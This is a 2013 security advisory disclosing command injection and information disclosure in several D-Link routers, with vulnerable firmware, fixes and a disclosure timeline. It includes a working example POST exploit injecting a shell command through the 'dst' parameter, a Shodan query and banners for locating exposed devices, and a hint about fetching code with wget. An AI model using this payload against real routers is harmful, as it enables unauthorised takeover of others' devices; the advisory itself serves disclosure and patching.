D-Link Remote Command Execution

`Device Name: DIR-600 / DIR-300 revB / DIR-815 / DIR-645 / DIR-412 / DIR-456 / DIR-110  
Vendor: D-Link  
  
============ Vulnerable Firmware Releases: ============   
  
DIR-815 v1.03b02 (unauthenticated command injection)  
DIR-645 v1.02 (unauthenticated command injection)  
DIR-645 v1.03 (authenticated command injection)  
DIR-600 below v2.16b01 (with v2.16b01 D-Link also fixes different vulnerabilities reported in M1ADV2013-003)  
DIR-300 revB v2.13b01 (unauthenticated command injection)  
DIR-300 revB v2.14b01 (authenticated command injection)  
DIR-412 Ver 1.14WWB02 (unauthenticated command injection)  
DIR-456U Ver 1.00ONG (unauthenticated command injection)  
DIR-110 Ver 1.01 (unauthenticated command injection)  
  
Possible other versions and devices are also affected by this vulnerability.  
  
============ Shodan Torks ============   
  
Shodan search: Server: Linux, HTTP/1.1, DIR  
=> 9300 results  
  
============ Vulnerability Overview: ============   
  
* OS Command Injection  
  
The vulnerability is caused by missing input validation in the dst parameter and missing session validation and can be exploited to inject and execute arbitrary shell commands.  
  
WARNING: You do not need to be authenticated to the device to insert and execute malicious commands.  
Hint: On different devices like the DIR-645 wget is preinstalled and you are able to upload and execute your malicious code.  
  
=> Parameter: dst  
  
Example Exploit:  
POST /diagnostic.php HTTP/1.1  
Host: xxxx  
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:16.0) Gecko/20100101 Firefox/16.0  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8  
Accept-Language: de-de,de;q=0.8,en-us;q=0.5,en;q=0.3  
Accept-Encoding: gzip, deflate  
Proxy-Connection: keep-alive  
Content-Type: application/x-www-form-urlencoded; charset=UTF-8  
Referer: http://xxxx/  
Content-Length: 41  
Cookie: uid=hfaiGzkB4z  
Pragma: no-cache  
Cache-Control: no-cache  
  
act=ping&dst=%26%20COMMAND%26  
  
Screenshot: http://www.s3cur1ty.de/sites/www.s3cur1ty.de/files/images/05.04.2013%20-%20Dlink-DIR-645_msf-shell.txt.png  
  
* Information disclosure:  
  
Nice server banner to detect this type of devices easily:  
  
Server Banner: Server: Linux, HTTP/1.1, DIR-815  
Server Banner: Server: Linux, HTTP/1.1, DIR-645  
Server Banner: Server: Linux, HTTP/1.1, DIR-600  
Server Banner: Server: Linux, HTTP/1.1, DIR-300  
Server Banner: Server: Linux, HTTP/1.1, DIR-412  
Server Banner: Server: Linux, HTTP/1.1, DIR-456U  
Server Banner: Server: Linux, HTTP/1.1, DIR-110  
  
* Information Disclosure:  
  
Detailed device information including Model Name, Hardware Version, Linux Kernel, Firmware version, Language and MAC Addresses are available via the network.  
  
Request:  
http://<IP>IP/DevInfo.txt or http://<IP>IP/version.txt (check the source of the site)  
  
Response to DevInfo.txt:  
  
Firmware External Version: V1.00  
Firmware Internal Version: a86b  
Model Name: DIR-815  
Hardware Version:   
WLAN Domain: xxx  
Kernel: 2.6.33.2  
Language: en  
Graphcal Authentication: Disable  
LAN MAC: xx  
WAN MAC: xx  
WLAN MAC: xx  
  
These details are available without authentication.  
  
============ Solution ============  
  
DIR-645: Update to firmware v1.04b5  
DIR-600: Update to firmware v2.16B01  
DIR-300rev B: Update to firmware 2.14B01 fixes the authentication bypass but not the command injection vulnerability.  
Other devices: No known solution available.  
  
============ Credits ============  
  
The vulnerability was discovered by Michael Messner  
Mail: devnull#at#s3cur1ty#dot#de  
Web: http://www.s3cur1ty.de/advisories  
Twitter: @s3cur1ty_de  
  
============ Time Line: ============  
  
14.12.2012 - discovered vulnerability in first device  
14.12.2012 - contacted dlink via the webinterface http://www.dlink.com/us/en/home-solutions/contact-d-link  
20.12.2012 - contacted Heise Security with details and Heisec forwarded the details to D-Link  
21.12.2012 - D-link responded that they will check the findings  
11.01.2013 - requested status update  
25.01.2013 - requested status update and updated D-Link with the other vulnerable devices  
25.01.2013 - D-Link responded that this is a security problem from the user and/or browser and they will not provide a fix.  
07.02.2013 - after the DIR-600/300 drama D'Link contacted me and now they are talking with me ;)  
since 07.02.2013 - Good communication and firmware testing  
27.02.2013 - Roberto Paleari releases details about authentication bypass in DIR-645 - http://packetstormsecurity.com/files/120591/dlinkdir645-bypass.txt  
05.04.2013 - vendor releases firmware updates  
05.04.2013 - public release  
  
===================== Advisory end =====================  
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